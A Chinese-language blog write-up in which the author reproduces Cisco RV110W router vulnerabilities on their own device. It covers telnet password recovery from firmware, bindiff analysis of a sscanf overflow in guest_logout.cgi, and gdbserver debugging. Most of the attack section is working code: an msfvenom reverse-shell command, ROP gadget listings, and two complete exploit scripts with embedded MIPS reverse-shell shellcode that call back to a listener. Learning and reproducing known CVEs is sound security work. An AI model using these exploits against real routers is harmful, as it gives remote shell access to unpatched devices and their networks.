RV110W路由器漏洞复现

xuanxuan老师种草了~,”一定要摸真实的设备”这句话余音绕梁,终于狠下心买了一个二手的RV110W,开始我的路由器漏洞复现之路,希望能学到点东西!

0x00 开端

拿到路由器接上电源网线,电脑连接上RV100W就遇到了第一个问题,怎么进入后台?好吧,萌新没怎么玩过路由器,都是按照路由器背面的IP来登录,好巧不巧,它的背面很干净,啥都没有,看lemon师傅的视频看到10.10.10.1兴致冲冲的去访问,结果进了一个交换机的登录界面,奇了怪了,后来询问lemon师傅,要看路由器的网关IP进去,至此第一个问题顺利解决,初始密码是cisco:cisco

很顺利的进入后台,进入Administration => Firmware/Language Upgrade,看到固件的版本不对,是多少来着忘了,反正很老的一个固件,下面提供了固件的升级,我直接就拿xuanxuan老师的固件刷进去了,等了好一会,它就重启了,再次进入就发现固件版本已经变成1.2.2.5了

固件链接

0x01 信息收集

到这,准备工作已经完成了!

那就开始真实环境下的漏洞复现了,首先一般我们想要找一个设备的漏洞,那得先看有什么服务吧!那么从服务很容易联想到端口,所以最开始我们先用端口扫描

1
nmap -sU -sT -p0-65535 192.168.1.1

扫完了,就想看看源码,就要对固件进行解包,固件提取拿以前的一张图来看

这里就是xuanxuan老师那边拿的,算是互联网搜索吧!

xuanxuan老师那说要安装sasquatch这个组件,但是在AttifyOs那直接binwalk就开了???可能是AttifyOsbinwalk比较完整吧,不太清楚

解包完成之后,查看busybox的版本是MIPS32小端序的路由器

之后就是搜集漏洞信息

0x02 漏洞利用

CVE-2020-3330

之前扫到23端口是开着的,搜索发现大多数文件都是链接到rc这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
> find . | xargs grep -ri "admin:\\\$"
Binary file ./sbin/rc matches
grep: ./usr/local/libexec/ipsec/setup: No such file or directory
Binary file ./sbin/rc matches
Binary file ./sbin/gpio_check matches
Binary file ./sbin/write matches
Binary file ./sbin/ca_manage matches
Binary file ./sbin/ses_led matches
Binary file ./sbin/ipsec_fqdn_detect matches
Binary file ./sbin/sendudp matches
Binary file ./sbin/check_ses_led matches
Binary file ./sbin/stats matches
Binary file ./sbin/ddns_update_data matches
Binary file ./sbin/services matches
Binary file ./sbin/restore matches
Binary file ./sbin/info matches
Binary file ./sbin/preinit matches
Binary file ./sbin/qkvpn_rekey matches
Binary file ./sbin/ipsec-up matches
Binary file ./sbin/calc_vpnconn_time matches
Binary file ./sbin/bootnv matches
Binary file ./sbin/ipsec_wanlink matches
Binary file ./sbin/usb_test matches
Binary file ./sbin/icmp_echo matches
Binary file ./sbin/cron_iaprule matches
Binary file ./sbin/waninfo matches
Binary file ./sbin/ntpd matches
Binary file ./sbin/detectwan matches
Binary file ./sbin/ipsec_fw matches
Binary file ./sbin/ddns_success matches
Binary file ./sbin/cpu_usage matches
Binary file ./sbin/cron_aclrule matches
Binary file ./sbin/firewall matches
Binary file ./sbin/generate_md5sum matches
Binary file ./sbin/init matches
Binary file ./sbin/listen matches
Binary file ./sbin/check_ps matches
Binary file ./sbin/snmpdc matches
Binary file ./sbin/process_monitor matches
Binary file ./sbin/rc matches

把放到IDA里面,搜字符串定位关键函数

随便翻下就有了个明文字符串,拿去解一下MD5

密码就出来了,我们就可以通过telnet来传gdbserver就不用拆机器了

CVE-2020-3331/CVE-2020-3323

Diff

1.2.2.5这个固件的版本相对来说比较旧,所以一个很常用的手法就是去diff文件,拿已经修复此漏洞的固件进行diff,能够更容易的去定位漏洞点,diff有俩常见的工具,bindiffdiaphora

bindiff

bindiff下载链接

.msi下载就行,安装路径为IDA的主目录,之后打开IDA在插件那边就能看见bindiff了,把要比对的文件先打开再保存成idb文件,然后点bindiff选择要比对的idb就能开始比对啦!

ps:user的目录不要有中文,否则你会很不幸

越往下滑呢!它就越有可能是目标,因为越下面就越不匹配,由于漏洞描述是前台的洞,所以选中的那个函数有可能就是目标,这里简单讲讲我认识什么的前台什么的后台?

前台:与用户进行交互的界面

后台:对用户隐藏的那部分数据处理与逻辑处理

查阅资料得知,每个基本块颜色的说明:

绿色:相同的基本块

黄色:修改的基本块

红色:删掉的基本块

灰色:新加的基本块

右键view flow graphs就可以查看汇编代码对比,找了半天才找到,就离谱

ps:千万不要直接把两个idb直接丢到idb,不然你会知道什么叫浪费时间(bindiff直接打开的分析速度感人

除此之外,你如果对二进制的漏洞点以及危险函数比较熟悉的话,双击点进去,很容易就看到这个没有限制长度的sscanf

diaphora

吐了,老是报错整不好了…,bindiff也能用的啦!只不过是看汇编,diaphora可以看源码,下次再补上…

**%[ ^;];%*[ ^=]=%[ ^\n]**是一个正则表达式,%是代表选择,%*是过滤

  1. %[^;]:分号前的所有字符都要
  2. ;%*[^=]:分号后,等号前的字符都不要
  3. =%[^\n]:等号后,换行符前的所有字符都要

看不是很懂,那就上个demo吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main(void){

char var1[5] = "aaa";
char var2[5] = "bbb";
char var3[5] = "ccc";
const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";

sscanf(welcome,"%[^;];%*[^=]=%[^\n]", var1, var2, var3);
printf("%s\n%s\n%s\n",var1,var2,var3);
return 0;
}

我们看到运行结果,还是很奇怪,留坑了…

发包测试一下是否存在溢出,发送GET报文发现并没有什么事情发生

1
2
3
4
5
import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"}
requests.get(url, data=payload, verify=False, timeout=1)

但是发生POST报文的时候,发现web页面在疯狂转圈圈,就是崩了,至于为什么只测试这两个请求头,二进制狗表示不太清楚…

1
2
3
4
5
import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)

确定溢出偏移

崩了就意味着,有漏洞点的存在,那接下来就是调试的事情了,用的是海特实验室的gdbserver,其实还有一个是gef开发者编译的gdbserver

海特实验室 IOT_Wiki

gef author

启动一个窗口起一个简单的http服务器

python2:

1
➜  python -m SimpleHTTPServer 8080

python3:

1
➜  python -m http.server 8080

ps:建议启动浏览器复制链接,真的好用!

再启动一个窗口telnet连接上路由器用wget(路由器里面自带的)挂上gdbserver,就可以远程调试了

1
2
3
4
5
6
➜  telnet 192.168.1.1
cd tmp
➜ wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver"
➜ chmod +x gdbserver
➜ ps | grep "httpd"
➜ ./gdbserver :1234 --attach 356#看httpd -S的进程号,另一个好像调试不了

传进去之后,恶梦才刚刚开始….我根本想不到这问题出在哪里!尝试换终端(改成dash),换架构(在树莓派上尝试),换目录(换到data目录)之后,终于摸索到了关键原因—-gdbserver本身,各位大师傅们的gdbservergdbserver-7.12-mipsel-mips32rel2-v1-sysv ,我死活用不了,我尝试甚至在我朋友上的电脑上尝试都不行,可能大师傅们的电脑是MacOS吧,咱也不知道,咱也不敢问,我最后在换到gdbserver-7.12-mipsel-i-v1-sysv之后,终于可以使用了!

终于…下一个错误来了,gdb-mutilarch进行远程调试的时候,remote上去的时候断不下来,报下面这个错,看到下面capstone好像出现了问题,怀疑是版本过低,重新安装pwntools解决问题

5年了…Capstone 终于升级到4.0!

解决方法

此处,终于看到调试界面了,泪目!!!

来来来,问题怪又来了…,按照大师傅们的做法,按下c之后,输入cyclic 200生成的字符串,就会崩掉,并看到PC寄存器被覆盖…但我…没反应啊!

解决办法就是先在sscanf之前下断点(后面测试其实不用下断点也是一样的,然后再c,接着用exp打一下,就断下来了,原因是因为我们本身就是attachhttpd这个进程,所以这个进程本身还在运行,如果我们打了断点并用exp打过去的话,它就会按照以往正常的业务逻辑去执行,但是再执行的过程中被中断了,所以…就断了下来,再往下走的,我们就能看到PC寄存器被覆盖了!接下来就是常规操作用cyclic -l来计算偏移

确定好溢出的长度就可以开始利用了,基本上都是ROP+shellcode的形式,那么现在就是生成shellcode和泄露libc获取gadget的问题了

shellcode

shellcode一般来说可以使用以下四种方式获取:

  1. msfvenom
  2. shell-storm
  3. pwntools
  4. 自己编写(简单的shellcode还是可以写写的

其他都有试过,msf还没试过这里记录一下…msf支持好多版本的shellcode,太香了吧!

用下面的命令就能生成,注意IP和端口匹配:

1
➜  msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py 

总的来说还是:msf更方便好用,并且非常稳。shell-storm找到的种类多,不过偶尔需要手动修改。最后对于真实设备的利用上pwntools会有很多的问题,所以这里不推荐使用pwntools生成shellcode

shell-storm里面的shellcode也是能用的,不过需要修改IP地址

200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb

ROP

既然要ROP,那必然要泄露libc,但是在大部分IOT设备中,地址随机化是不会变化的,包括这个设备,所以在maps中加载的libc地址就是它一直使用的libc地址,无论是重启还是换固件版本甚至在RV130中,libc的基地址都一样,这就省去了很多步骤,下面引用xuanxuan老师的一段话:

问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget

1
➜  cat /proc/356/maps

可以看到很多libc,而libc.so.0的基地址是2af98000

得到了libc基地址,只让是寻找一些可用的gadget,我们使用IDA的插件—-mipsrop,由于安装的时候发现,它对IDA 7.5不是很支持,所以还是出了一些小问题,这里记录一下…

解决IDA 无法安装mipsrop插件

IDA 无法安装mipsrop插件

安装成功后呢,在search中就能看到mips rop gadgets,点击之后加载了mipsrop插件了

可以用mipsrop.help()查看mipsrop的一些常用命令

mipsrop常用命令

在上面的程序加载了很多动态链接库,但是却唯独选择了**/lib/libc.so.0**这个动态链接库来寻找gadget,为啥呢?估计是比较熟悉吧!

mipsrop.stackfinders()来寻找一些gadget,这些gadget都是和栈($sp)相关的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Python>mipsrop.stackfinders()
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0000BA84 | addiu $a1,$sp,0x158+var_A0 | jalr $s0 |
| 0x00011918 | addiu $a2,$sp,0x68+var_40 | jalr $s1 |
| 0x000250A8 | addiu $s0,$sp,0x278+var_250 | jalr $fp |
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x00025CAC | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002747C | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002CC00 | addiu $a0,$sp,0x38+var_10 | jalr $s0 |
| 0x0002CC08 | addiu $a0,$sp,0x38+var_10 | jalr $s1 |
| 0x00035DF4 | addiu $a1,$sp,0x20+var_8 | jalr $s1 |
| 0x0003D050 | addiu $a0,$sp,0x30+var_18 | jalr $a0 |
| 0x000427A8 | addiu $s0,$sp,0xB8+var_98 | jalr $s6 |
| 0x00042E04 | addiu $v1,$sp,0xF0+var_D0 | jalr $s1 |
| 0x0000D45C | addiu $a0,$sp,0x98+var_80 | jr 0x98+var_s4($sp) |
| 0x0000ED70 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0001D5FC | addiu $a3,$sp,0x28+var_8 | jr 0x28+var_s0($sp) |
| 0x00020100 | addiu $a0,$sp,0x28+var_10 | jr 0x28+var_s0($sp) |
| 0x0002C060 | addiu $a0,$sp,0x70+var_58 | jr 0x70+var_sC($sp) |
| 0x0002F800 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_s0($sp) |
| 0x00030434 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s10($sp) |
| 0x00039948 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399A0 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399F8 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A50 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A90 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039AFC | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039B5C | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x0003A844 | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x0003D05C | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s0($sp) |
| 0x0004BAA8 | addiu $a1,$sp,0x3020+var_1008 | jr 0x3020+var_s24($sp) |
| 0x0004D314 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D484 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D8E4 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
---------------------------------------------------------------------------------------------------------
Found 32 matching gadgets
Python>mipsrop.find("mov $t9,$a0")
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
---------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

找到两条可用的gadget

1
2
3
|  0x000257A0  |  addiu $a0,$sp,0x38+var_20  |  jalr  $s0  |

| 0x0003D050 | move $t9,$a0 | jalr $a0 |

算一下溢出到$s0的偏移0x55-0xe4+0xc0 = 0x31

再看看shellcode的偏移,暂时还不会在ghidra上用mipsrop的插件,就用了个笨办法,在IDA上先找gadget然后,再来ghidra看偏移,可以看到我们shellcode的偏移为0x18,至此,所有的准备工作已经完成!!!

再启动一个终端,监听shellcode中回连的端口,等待反弹shell,完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
from pwn import *

context(arch='mips',endian='little',os='linux')

libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0

shellcode = b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"

pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 49 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode

url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": pd1,
"cip": "192.168.1.100"
}

requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)

监听的终端已经看到反弹shell了,泪目~

exp的另一种写法,加入pwntoolswait_for_connection模块来实现的,这样就不用开多一个终端监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import thread,requests

context(arch='mips',endian='little',os='linux')


libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0

#LHOST=192.168.1.101 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"


url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}

def attack():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False,timeout=1)
except:
pass

io = listen(8888)
#创建一个TCP或UDP套接字以接收数据
thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行
io.wait_for_connection()
#阻塞直到建立连接
log.success("getshell")
io.interactive()

0x03 总结

xuanxuan老师带坑的第一个真实的IOT设备,复现之路异常坎坷,但不管怎么样最终还是复现出来了,学到不少知识,不过还有一些细节问题还没解决,后面慢慢看吧!加油,路还很长,任重而道远!

0x04 参考文章

思科路由器 RV110W CVE-2020-3331 漏洞复现

360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析)

强网杯2020决赛 Cisco RV110W路由器复现

思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现